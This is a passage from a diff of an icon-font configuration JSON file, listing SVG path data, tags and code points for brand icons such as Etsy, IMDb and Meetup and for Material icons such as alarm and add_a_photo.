16-6.286 21.714 0 6.286 5.714 6.286 15.429 0 21.714zM773.714 324.571c-25.714 48.571-93.143 68.571-134.286 39.429-41.143-29.714-69.714-89.143-24.571-140.571 44.571-51.429 84-35.429 123.429 1.714 24.571 23.429 60.571 51.429 35.429 99.429zM888.571 600c5.143-33.143-42.286-34.286-52.571-53.143-28-49.714-57.143-76-112.571-62.857 24-16.571 48.571-12.571 48.571-12.571 0.571-13.143 0-26.857-19.429-51.429 8-25.714 0.571-46.286 0.571-46.286 32-17.714 55.429-50.286 60-89.143 7.429-64-38.857-122.286-102.857-129.714-45.714-5.143-90.286 16-112 53.143-48 82.857 2.857 146.286 46.286 168-29.714-2.857-70.857-24.571-82.857-70.857-13.714-53.143 5.714-102.857 18.286-126.857 0 0-9.143-12-16.571-18.286 0 0-28.571 0-50.857 10.857 24.571-31.429 52-29.714 52-29.714 0-13.143-1.143-30.857-7.429-44.571-11.429-23.429-51.429-26.857-66.857 8.571 0.571-1.714 1.143-2.857 2.286-4-10.286 24.571-2.286 115.429 34.857 180-5.143 2.857-18.857 12.571-26.857 20.571-44.571 20-116 124.571-116 124.571-58.286 22.286-160 105.143-146.286 164.571v0c0.571 6.286 2.857 11.429 6.286 15.429-5.714 4.571-11.429 10.286-17.143 17.143-24.571 28.571-10.857 72.571 36.571 50.286 32.571-14.857 61.714-41.714 75.429-62.857 0 0-12-10.286-34.286-9.143 57.143-13.714 71.429-19.429 96-18.857 16.571 8 16.571-70.857 16.571-70.857 0-30.286-4.571-64-22.857-85.714 25.714 25.143 60 67.429 57.714 125.143-1.714 37.714-31.429 47.429-31.429 47.429-18.857 34.286-89.143 136-62.857 218.857 0 0-20-30.857-21.143-45.714-36 40-96.571 108-51.429 133.143 54.857 30.286 225.143-182.857 261.143-293.714 71.429-42.857 114.286-97.714 132-134.286 45.714 90.857 197.714 196 209.714 122.857zM1025.143 512c0 282.857-229.714 512-512.571 512s-512.571-229.143-512.571-512 229.714-512 512.571-512 512.571 229.143 512.571 512z" + ], + "width": 1025.1702857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "grav" + ], + "defaultCode": 62166, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "grav", + "id": 665, + "order": 1521, + "prevSize": 28, + "code": 62166 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 665 + }, + { + "icon": { + "paths": [ + "M296 104.571v374.286c132.571 1.143 202.286-5.714 202.286-5.714 53.714-1.714 61.714-15.429 74.286-68l18.857-81.143h58.857l-8 184 4 182.286h-58.857l-16.571-72.571c-12-54.286-35.429-67.429-73.714-68 0 0-49.143-4.571-201.143-4.571v317.714c0 59.429 32.571 87.429 101.143 87.429h204c68.571 0 130.286-6.857 172.571-104.571l53.143-123.429h50.857c-4 24.571-31.429 251.429-35.429 301.714-188-6.857-268.571-6.857-268.571-6.857h-358.857l-214.857 6.857v-58.286l72.571-14.286c50.857-9.714 66.286-24.571 66.857-66.286 3.429-138.286 4.571-367.429 4.571-367.429s1.714-229.714-4.571-368.571c-1.714-47.429-16-58.857-66.857-68.571l-72.571-13.714v-58.286l214.857 6.857h401.143s79.429 0 213.714-15.429c-8 87.429-17.714 289.143-17.714 289.143h-53.143l-18.286-70.857c-22.286-88.571-52-136-106.857-136h-313.143c-23.429 0-24.571 8-24.571 22.286z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "etsy" + ], + "defaultCode": 62167, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "etsy", + "id": 666, + "order": 1522, + "prevSize": 28, + "code": 62167 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 666 + }, + { + "icon": { + "paths": [ + "M526.857 455.429v104c0 20.571 4 39.429-21.714 38.857v-176.571c25.143 0 21.714 13.143 21.714 33.714zM707.429 510.286v69.143c0 11.429 3.429 30.286-13.143 30.286-3.429 0-6.286-1.714-8-5.143-4.571-10.857-2.286-93.143-2.286-94.286 0-8-2.286-26.857 10.286-26.857 15.429 0 13.143 15.429 13.143 26.857zM102.857 645.143h69.714v-269.714h-69.714v269.714zM350.857 645.143h60.571v-269.714h-90.857l-16 126.286c-5.714-42.286-11.429-84.571-18.286-126.286h-90.286v269.714h61.143v-178.286l25.714 178.286h43.429l24.571-182.286v182.286zM593.714 470.857c0-17.143 0.571-35.429-2.857-51.429-9.143-47.429-66.286-44-103.429-44h-52v269.714c181.714 0 158.286 12.571 158.286-174.286zM774.857 583.429v-76c0-36.571-1.714-63.429-46.857-63.429-18.857 0-31.429 5.714-44 19.429v-88h-66.857v269.714h62.857l4-17.143c12 14.286 25.143 20.571 44 20.571 41.714 0 46.857-32 46.857-65.143zM877.714 164.571v694.857c0 50.286-41.143 91.429-91.429 91.429h-694.857c-50.286 0-91.429-41.143-91.429-91.429v-694.857c0-50.286 41.143-91.429 91.429-91.429h694.857c50.286 0 91.429 41.143 91.429 91.429z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "imdb" + ], + "defaultCode": 62168, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "imdb", + "id": 667, + "order": 1523, + "prevSize": 28, + "code": 62168 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 667 + }, + { + "icon": { + "paths": [ + "M653.143 990.286c-2.286-0.571-4-1.143-6.286-2.286 0 0-188-110.286-251.429-288.571-21.143-3.429-65.714-13.714-100-21.143v0c49.714 161.714 188 285.143 357.714 312zM286.857 644l96 16c-32.571-97.714-36.571-209.143-36.571-209.143-38.286 37.143-58.857 88-69.143 128v0c1.714 22.286 4.571 44 9.714 65.143zM349.714 296v0c-17.714 26.286-32 54.857-44 84.571 18.857-20 34.286-33.143 42.286-38.857-1.143-17.143 1.714-45.714 1.714-45.714zM1170.857 544c0-249.143-201.143-451.429-448-451.429-114.286 0-218.286 43.429-297.714 114.857-12 23.429-20 53.143-25.714 91.429 121.714-103.429 338.857-77.714 338.857-77.714 54.286 2.286 48 50.286 47.429 65.143-197.714-16.571-294.857 40-390.857 121.714 0 0 18.857 182.857 62.286 257.143 250.286 11.429 440.571-124.571 440.571-124.571 24-17.143 45.143-18.857 49.714 10.857 3.429 24 5.143 56.571-22.286 69.143-83.429 38.857-175.429 63.429-266.857 76.571-59.429 8.571-92.571 10.857-181.143 9.143 84.571 196.571 296 250.286 296 250.286 66.286 10.857 116.571 2.286 150.286-8.571v0c146.286-74.286 247.429-227.429 247.429-404zM1213.143 522.857c-4 38.857-10.286 84-22.857 121.143-51.429 152.571-122.857 252-285.714 342.857-14.857 10.286-30.857 20-46.857 25.143-29.143 10.286-60.571 12.571-93.143 9.143-13.714 1.143-27.429 1.714-41.714 1.714-217.714 0-401.714-148.571-457.143-351.429-1.714 0-3.429-0.571-5.143-0.571-13.143 102.857 62.857 241.714 62.857 241.714s4.571 6.857 30.857 46.857c-145.714-77.143-149.714-304.571-149.714-304.571-34.857-13.143-156-54.286-177.143-88 0 0 94.857 52 176.571 62.286-0.571-0.571 1.143-18.286 1.143-18.286 5.143-69.714 29.143-124 53.714-165.714 16-78.286 51.429-149.143 100.571-208.571 8.571-35.429 22.286-77.714 46.286-122.286 10.286-19.429 20-32 46.286-44 173.714-81.143 345.143-101.714 521.143-10.286v0c168.571 88 260 272 240 462.857z" + ], + "width": 1260.544, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "ravelry" + ], + "defaultCode": 62169, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "ravelry", + "id": 668, + "order": 1524, + "prevSize": 28, + "code": 62169 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 668 + }, + { + "icon": { + "paths": [ + "M766.286 448c20-30.857-3.429-109.143-73.143-155.429-69.143-46.286-157.714-42.857-178.286-12-20 30.286 22.857 10.857 101.143 40 129.143 48 130.286 158.286 150.286 127.429zM973.714 776c-161.714 397.714-890.286 297.143-874.857-218.857 1.714-65.714 20-109.714 38.857-172.571-120.571 493.714 552 781.143 828 391.429 10.286-14.286 13.143-13.143 8 0zM837.143 519.429c0 161.714-130.286 293.143-290.857 293.143s-290.857-131.429-290.857-293.143 130.286-293.143 290.857-293.143 290.857 131.429 290.857 293.143zM1001.143 354.857c-203.429-461.714-1043.429-291.429-950.286 336.571-193.143-629.143 602.857-917.714 897.143-469.714 24 36.571 51.429 100.571 53.143 133.143zM965.714 550.286c9.714-193.143-124-325.143-304.571-374.857-2.857 0-15.429-5.143 8-7.429 441.143 14.857 457.143 720-23.429 728 156.571-43.429 310.286-152 320-345.714z" + ], + "width": 983.9908571428571, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "eercast" + ], + "defaultCode": 62170, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "eercast", + "id": 669, + "order": 1525, + "prevSize": 28, + "code": 62170 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 669 + }, + { + "icon": { + "paths": [ + "M109.714 731.429v73.143h-64c-5.143 0-9.143-4-9.143-9.143v-9.143h-27.429c-5.143 0-9.143-4-9.143-9.143v-18.286c0-5.143 4-9.143 9.143-9.143h27.429v-9.143c0-5.143 4-9.143 9.143-9.143h64zM109.714 585.143v73.143h-64c-5.143 0-9.143-4-9.143-9.143v-9.143h-27.429c-5.143 0-9.143-4-9.143-9.143v-18.286c0-5.143 4-9.143 9.143-9.143h27.429v-9.143c0-5.143 4-9.143 9.143-9.143h64zM109.714 438.857v73.143h-64c-5.143 0-9.143-4-9.143-9.143v-9.143h-27.429c-5.143 0-9.143-4-9.143-9.143v-18.286c0-5.143 4-9.143 9.143-9.143h27.429v-9.143c0-5.143 4-9.143 9.143-9.143h64zM109.714 292.571v73.143h-64c-5.143 0-9.143-4-9.143-9.143v-9.143h-27.429c-5.143 0-9.143-4-9.143-9.143v-18.286c0-5.143 4-9.143 9.143-9.143h27.429v-9.143c0-5.143 4-9.143 9.143-9.143h64zM109.714 146.286v73.143h-64c-5.143 0-9.143-4-9.143-9.143v-9.143h-27.429c-5.143 0-9.143-4-9.143-9.143v-18.286c0-5.143 4-9.143 9.143-9.143h27.429v-9.143c0-5.143 4-9.143 9.143-9.143h64zM731.429 54.857v841.143c0 30.286-24.571 54.857-54.857 54.857h-475.429c-30.286 0-54.857-24.571-54.857-54.857v-841.143c0-30.286 24.571-54.857 54.857-54.857h475.429c30.286 0 54.857 24.571 54.857 54.857zM877.714 758.857v18.286c0 5.143-4 9.143-9.143 9.143h-27.429v9.143c0 5.143-4 9.143-9.143 9.143h-64v-73.143h64c5.143 0 9.143 4 9.143 9.143v9.143h27.429c5.143 0 9.143 4 9.143 9.143zM877.714 612.571v18.286c0 5.143-4 9.143-9.143 9.143h-27.429v9.143c0 5.143-4 9.143-9.143 9.143h-64v-73.143h64c5.143 0 9.143 4 9.143 9.143v9.143h27.429c5.143 0 9.143 4 9.143 9.143zM877.714 466.286v18.286c0 5.143-4 9.143-9.143 9.143h-27.429v9.143c0 5.143-4 9.143-9.143 9.143h-64v-73.143h64c5.143 0 9.143 4 9.143 9.143v9.143h27.429c5.143 0 9.143 4 9.143 9.143zM877.714 320v18.286c0 5.143-4 9.143-9.143 9.143h-27.429v9.143c0 5.143-4 9.143-9.143 9.143h-64v-73.143h64c5.143 0 9.143 4 9.143 9.143v9.143h27.429c5.143 0 9.143 4 9.143 9.143zM877.714 173.714v18.286c0 5.143-4 9.143-9.143 9.143h-27.429v9.143c0 5.143-4 9.143-9.143 9.143h-64v-73.143h64c5.143 0 9.143 4 9.143 9.143v9.143h27.429c5.143 0 9.143 4 9.143 9.143z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "microchip" + ], + "defaultCode": 62171, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "microchip", + "id": 670, + "order": 1526, + "prevSize": 28, + "code": 62171 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 670 + }, + { + "icon": { + "paths": [ + "M894.857 638.286l-95.429 18.857 106.286 61.143c17.143 9.714 23.429 32.571 13.143 49.714s-32.571 23.429-49.714 13.143l-106.286-60.571 31.429 91.429c16 45.714-53.714 69.143-69.143 24l-58.286-171.429-154.857-89.143v178.857l118.857 136c32 36-23.429 84.571-54.857 48l-64-73.143v122.286c0 20-16.571 36.571-36.571 36.571s-36.571-16.571-36.571-36.571v-122.286l-64 73.143c-31.429 36.571-86.857-12-54.857-48l118.857-136v-178.857l-154.857 89.143-58.286 171.429c-15.429 45.143-85.143 21.714-69.143-24l31.429-91.429-106.286 60.571c-17.143 10.286-39.429 4-49.714-13.143s-4-40 13.143-49.714l106.286-61.143-95.429-18.857c-47.429-9.714-33.143-81.143 14.286-72l177.143 35.429 154.857-89.714-154.857-89.714-177.143 35.429c-2.286 0.571-5.143 0.571-7.429 0.571-43.429 0-49.714-64-6.857-72.571l95.429-18.857-106.286-61.143c-17.143-9.714-23.429-32.571-13.143-49.714 10.286-17.714 32.571-23.429 49.714-13.143l106.286 60.571-31.429-91.429c-16-45.714 53.714-69.143 69.143-24l58.286 171.429 154.857 89.143v-178.857l-118.857-136c-32-36 23.429-84.571 54.857-48l64 73.143v-122.286c0-20 16.571-36.571 36.571-36.571s36.571 16.571 36.571 36.571v122.286l64-73.143c31.429-36.571 86.857 12 54.857 48l-118.857 136v178.857l154.857-89.143 58.286-171.429c15.429-45.143 85.143-21.714 69.143 24l-31.429 91.429 106.286-60.571c17.143-10.286 39.429-4 49.714 13.143s4 40-13.143 49.714l-106.286 61.143 95.429 18.857c42.857 8.571 36.571 72.571-6.857 72.571-2.286 0-5.143 0-7.429-0.571l-177.143-35.429-154.857 89.714 154.857 89.714 177.143-35.429c47.429-9.143 61.714 62.286 14.286 72z" + ], + "width": 950.8571428571428, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "snowflake-o" + ], + "defaultCode": 62172, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "snowflake-o", + "id": 671, + "order": 1527, + "prevSize": 28, + "code": 62172 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 671 + }, + { + "icon": { + "paths": [ + "M841.714 530.857c10.286-182.857-129.714-334.286-310.857-345.143-180-10.857-339.429 126.286-349.714 307.429-10.286 182.857 129.714 334.286 311.429 345.143 180 10.857 339.429-125.714 349.143-307.429zM1024 0l-199.429 198.857c90.857 88.571 140 212 132 338.857-12.571 212.571-176 382.286-385.714 410.857l-570.857 75.429 198.286-198.286c-90.857-88.571-139.429-212-132-338.857 13.143-213.143 176-382.857 386.286-411.429 190.286-25.143 381.143-50.286 571.429-75.429z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "superpowers" + ], + "defaultCode": 62173, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "superpowers", + "id": 672, + "order": 1528, + "prevSize": 28, + "code": 62173 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 672 + }, + { + "icon": { + "paths": [ + "M541.714 587.429l93.143 188h-29.143l-100-200-97.714 200h-28l102.286-213.714-44.571-18.857 12-28 137.143 58.286-12 28.571zM321.714 249.143l173.714 74.286-74.286 173.714-173.714-74.286zM518.286 354.857l137.143 58.857-58.857 136.571-136.571-58.286zM678.857 440.571l109.143 46.286-46.857 108.571-108.571-46.286zM960 512c0-246.857-201.143-448-448-448s-448 201.143-448 448 201.143 448 448 448 448-201.143 448-448zM1024 512c0 282.286-229.714 512-512 512s-512-229.714-512-512 229.714-512 512-512 512 229.714 512 512z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "wpexplorer" + ], + "defaultCode": 62174, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "wpexplorer", + "id": 673, + "order": 1529, + "prevSize": 28, + "code": 62174 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 673 + }, + { + "icon": { + "paths": [ + "M762.286 705.143c-6.286-41.143-81.714-9.143-86.286-54.286-6.286-64 87.429-202.286 80-256-6.857-48-38.857-58.286-66.857-58.857-26.857-0.571-33.714 4-42.857 9.143-5.714 3.429-13.143 9.714-23.429-0.571-12.571-12-22.286-23.429-38.857-25.714-24.571-4-35.429 4-53.143 19.429-6.857 5.714-24 25.714-40 18.286-6.857-3.429-30.857-15.429-48-22.857-32.571-14.286-80 9.143-97.143 40-25.714 45.714-76 226.286-83.429 250.286-17.143 53.143 21.714 97.143 73.714 94.286 22.286-1.143 36.571-9.143 50.857-34.857 8-14.857 83.429-215.429 89.143-225.143 4-6.857 17.714-16 29.143-10.286 11.429 6.286 13.714 18.857 12 30.286-2.286 19.429-56 141.714-57.714 155.429-6.857 45.714 53.714 53.143 77.143 8 7.429-14.286 91.429-185.143 98.857-196.571 8.571-12.571 14.857-16.571 23.429-16 6.286 0 16.571 1.714 14.286 21.714-2.857 18.857-70.286 144.571-77.714 175.429-9.143 41.143 13.143 82.857 49.714 101.143 22.857 11.429 125.143 31.429 117.143-22.286zM218.857 828.571c2.286 11.429-4.571 22.286-16 24.571-10.857 2.286-21.714-4.571-24-16-2.286-10.857 4.571-22.286 15.429-24.571s22.286 4.571 24.571 16zM544.571 978.857c9.143 13.143 5.714 30.857-6.857 40-13.143 9.143-30.857 5.714-40-7.429-8.571-13.143-5.143-30.857 7.429-40 13.143-9.143 30.857-5.714 39.429 7.429zM101.143 514.857c-13.714 20.571-41.143 25.714-61.143 11.429-20-13.714-25.143-41.714-11.429-61.714 13.714-20.571 41.143-25.714 61.143-12 20 14.286 25.143 41.714 11.429 62.286zM838.286 901.714c14.286 21.143 9.143 50.286-12 65.143-21.143 14.286-49.714 9.143-64-12s-9.143-50.286 11.429-65.143c21.143-14.857 49.714-9.143 64.571 12zM902.286 556.571c52.571 86.286 30.286 200-52.571 258.286-34.857 24.571-74.286 35.429-113.714 34.286-24 94.286-138.857 129.143-210.286 65.143-2.286 1.714-5.143 3.429-7.429 5.714-78.286 54.286-184.571 34.857-238.857-44.571-19.429-28.571-29.143-61.143-30.286-93.714-130.857-21.714-180-188-82.286-279.429-56.571-93.714 1.143-214.857 106.857-229.714 50.286-132.571 215.429-195.429 327.429-108.571 134.857-44.571 272.571 58.857 261.714 202.286 82.286 25.143 105.714 133.714 39.429 190.286zM260 179.429c10.286 15.429 6.857 36.571-8.571 47.429-14.857 10.286-36 6.857-46.286-8.571s-6.857-36.571 8.571-47.429c14.857-10.286 36-6.857 46.286 8.571zM350.857 18.857c2.857 12.571-5.143 25.143-17.714 28s-25.143-5.143-28-18.286c-2.286-12.571 5.714-25.143 18.286-28s25.143 5.143 27.429 18.286zM1028.571 560.571c3.429 15.429-6.286 30.286-21.143 33.143-14.857 3.429-29.714-6.286-32.571-21.143-3.429-15.429 6.286-30.286 21.143-33.714 14.857-2.857 29.714 6.857 32.571 21.714zM649.143 50.286c12 20.571 5.714 48-15.429 60.571-20.571 12.571-47.429 5.714-59.429-14.857-12.571-21.143-5.714-48.571 14.857-61.143s47.429-5.714 60 15.429zM1075.429 425.143c2.857 11.429-4.571 22.286-15.429 25.143-11.429 2.286-22.286-5.143-24.571-16-2.286-11.429 4.571-22.857 16-25.143 10.857-2.286 21.714 4.571 24 16zM966.286 287.429c11.429 17.143 7.429 40.571-9.143 52.571-17.143 11.429-40.571 7.429-52-9.714s-7.429-40.571 9.714-52.571c16.571-12 40-7.429 51.429 9.714z" + ], + "width": 1093.12, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "meetup" + ], + "defaultCode": 62176, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "meetup", + "id": 674, + "order": 1530, + "prevSize": 28, + "code": 62176 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 674 + }, + { + "icon": { + "paths": [ + "M512 0c268 0 488 206 510 468h-64c-14-160-114-294-254-360l-58 56-162-162zM706 504c0-69.871-27.338-114-94-114h-40v246h38c51.287 0 80.544-27.904 92-68 4-14 4-30 4-48v-16zM612 342c76.364 0 121.865 38.664 144 94 8 20 10 44 10 68v16c0 52.811-15.142 91.142-42 118-26.824 26.824-61.104 44-114 44h-98v-340h100zM414 508c30.607 12.243 56 36.493 56 78 0 16-4 28-10 40s-12 24-22 32c-18.756 15.005-47.096 24-80 24-62.192 0-108-31.488-108-94h54c0 30.904 23.204 50 54 50 35.74 0 56-17.079 56-54 0-37.687-24.79-54-62-54h-32v-44h32c34.608 0 58-16.061 58-50 0-33.049-17.68-50-52-50-28.888 0-50 17.163-50 46h-56c0-29.787 15.103-49.103 30-64 19.854-15.883 41.797-26 76-26 51.295 0 80.772 19.544 98 54 6 12 8 24 8 40 0 36.376-24.671 59.335-50 72zM320 916l58-56 162 162-28 2c-268 0-488-208-510-470h64c16 160 114 296 254 362z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "3d_rotation" + ], + "defaultCode": 59469, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "3d_rotation", + "id": 0, + "order": 11, + "prevSize": 24, + "code": 59469, + "name": "3d_rotation" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 0 + }, + { + "icon": { + "paths": [ + "M938 470v84h-178l138 138-60 62-198-200h-86v86l200 198-62 60-138-138v178h-84v-178l-138 138-62-60 200-198v-86h-86l-198 200-60-62 138-138h-178v-84h178l-138-138 60-62 198 200h86v-86l-200-198 62-60 138 138v-178h84v178l138-138 62 60-200 198v86h86l198-200 60 62-138 138h178z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "ac_unit" + ], + "defaultCode": 60219, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "ac_unit", + "id": 1, + "order": 12, + "prevSize": 24, + "code": 60219, + "name": "ac_unit" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 1 + }, + { + "icon": { + "paths": [ + "M512 854c166 0 298-134 298-300s-132-298-298-298-298 132-298 298 132 300 298 300zM512 170c212 0 384 172 384 384s-172 384-384 384-384-172-384-384 172-384 384-384zM534 342v224l170 100-32 52-202-120v-256h64zM336 144l-196 164-54-64 196-164zM938 244l-54 66-196-166 54-64z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "alarm" + ], + "defaultCode": 59477, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "access_alarm, alarm", + "id": 2, + "order": 13, + "prevSize": 24, + "code": 59477, + "name": "alarm" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 2 + }, + { + "icon": { + "paths": [ + "M512 854c166 0 298-134 298-300s-132-298-298-298-298 132-298 298 132 300 298 300zM512 170c214 0 384 170 384 384s-170 384-384 384-384-170-384-384 170-384 384-384zM534 342v226l170 102-34 52-200-124v-256h64zM338 146l-198 162-54-64 196-162zM938 244l-54 64-198-168 56-64z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "access_alarms" + ], + "defaultCode": 57745, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "access_alarms", + "id": 3, + "order": 14, + "prevSize": 24, + "code": 57745, + "name": "access_alarms" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 3 + }, + { + "icon": { + "paths": [ + "M534 298v224l192 114-32 54-224-136v-256h64zM512 854c188 0 342-154 342-342s-154-342-342-342-342 154-342 342 154 342 342 342zM512 86c236 0 426 190 426 426s-190 426-426 426-426-190-426-426 190-426 426-426z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "schedule" + ], + "defaultCode": 59573, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "access_time, query_builder, schedule", + "id": 4, + "order": 15, + "prevSize": 24, + "code": 59573, + "name": "schedule" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 4 + }, + { + "icon": { + "paths": [ + "M896 384h-256v554h-86v-256h-84v256h-86v-554h-256v-86h768v86zM512 86c46 0 86 38 86 84s-40 86-86 86-86-40-86-86 40-84 86-84z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "accessibility" + ], + "defaultCode": 59470, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "accessibility", + "id": 5, + "order": 16, + "prevSize": 24, + "code": 59470, + "name": "accessibility" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 5 + }, + { + "icon": { + "paths": [ + "M548 768h88c-20 98-106 170-210 170-118 0-212-94-212-212 0-104 72-190 170-210v88c-50 18-86 66-86 122 0 70 58 128 128 128 56 0 104-36 122-86zM426 388c0-59.978 66.716-113.020 128-78h2v2c10 4 18 10 26 18l56 62c42 46 106 78 172 78v84c-74 0-156-36-212-82v146h128c46 0 84 40 84 86v234h-84v-212h-214c-46 0-86-40-86-86v-252zM426 170c0-48 38-84 86-84s86 36 86 84-38 86-86 86-86-38-86-86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "accessible" + ], + "defaultCode": 59668, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "accessible", + "id": 6, + "order": 17, + "prevSize": 24, + "code": 59668, + "name": "accessible" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 6 + }, + { + "icon": { + "paths": [ + "M490 42l406 214v86h-810v-86zM682 426h128v300h-128v-300zM86 938v-128h810v128h-810zM426 426h128v300h-128v-300zM170 426h128v300h-128v-300z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "account_balance" + ], + "defaultCode": 59471, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "account_balance", + "id": 7, + "order": 18, + "prevSize": 24, + "code": 59471, + "name": "account_balance" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 7 + }, + { + "icon": { + "paths": [ + "M682 576c36 0 64-28 64-64s-28-64-64-64-64 28-64 64 28 64 64 64zM512 682v-340h426v340h-426zM896 768v42c0 46-40 86-86 86h-596c-48 0-86-40-86-86v-596c0-46 38-86 86-86h596c46 0 86 40 86 86v42h-384c-48 0-86 40-86 86v340c0 46 38 86 86 86h384z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "account_balance_wallet" + ], + "defaultCode": 59472, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "account_balance_wallet", + "id": 8, + "order": 19, + "prevSize": 24, + "code": 59472, + "name": "account_balance_wallet" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 8 + }, + { + "icon": { + "paths": [ + "M256 726v42h512v-42c0-86-170-132-256-132s-256 46-256 132zM640 384c0-70-58-128-128-128s-128 58-128 128 58 128 128 128 128-58 128-128zM128 214c0-46 38-86 86-86h596c46 0 86 40 86 86v596c0 46-40 86-86 86h-596c-48 0-86-40-86-86v-596z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "account_box" + ], + "defaultCode": 59473, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "account_box", + "id": 9, + "order": 20, + "prevSize": 24, + "code": 59473, + "name": "account_box" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 9 + }, + { + "icon": { + "paths": [ + "M512 820c106 0 200-56 256-138-2-84-172-132-256-132-86 0-254 48-256 132 56 82 150 138 256 138zM512 214c-70 0-128 58-128 128s58 128 128 128 128-58 128-128-58-128-128-128zM512 86c236 0 426 190 426 426s-190 426-426 426-426-190-426-426 190-426 426-426z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "account_circle" + ], + "defaultCode": 59475, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "account_circle", + "id": 10, + "order": 21, + "prevSize": 24, + "code": 59475, + "name": "account_circle" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 10 + }, + { + "icon": { + "paths": [ + "M640 384c24 0 42-18 42-42s-18-44-42-44-42 20-42 44 18 42 42 42zM384 384c24 0 42-18 42-42s-18-44-42-44-42 20-42 44 18 42 42 42zM688 186c74 54 122 142 122 240v44h-596v-44c0-98 48-186 122-240l-90-90 36-34 98 98c40-20 84-32 132-32s92 12 132 32l98-98 36 34zM214 682v-170h596v170c0 166-132 300-298 300s-298-134-298-300z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "adb" + ], + "defaultCode": 58894, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "adb", + "id": 11, + "order": 22, + "prevSize": 24, + "code": 58894, + "name": "adb" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 11 + }, + { + "icon": { + "paths": [ + "M810 554h-256v256h-84v-256h-256v-84h256v-256h84v256h256v84z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "add" + ], + "defaultCode": 57669, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "add", + "id": 12, + "order": 23, + "prevSize": 24, + "code": 57669, + "name": "add" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 12 + }, + { + "icon": { + "paths": [ + "M418 598c0-76 60-138 136-138s138 62 138 138-62 136-138 136-136-60-136-136zM554 810c118 0 214-94 214-212s-96-214-214-214-212 96-212 214 94 212 212 212zM256 426v-128h128v-128h298l78 86h136c46 0 86 40 86 86v512c0 46-40 84-86 84h-682c-46 0-86-38-86-84v-428h128zM128 170v-128h86v128h128v86h-128v128h-86v-128h-128v-86h128z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "add_a_photo" + ], + "defaultCode": 58425, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "add_a_photo", + "id": 13, + "order": 24, + "prevSize": 24, + "code": 58425, + "name": "add_a_photo" + 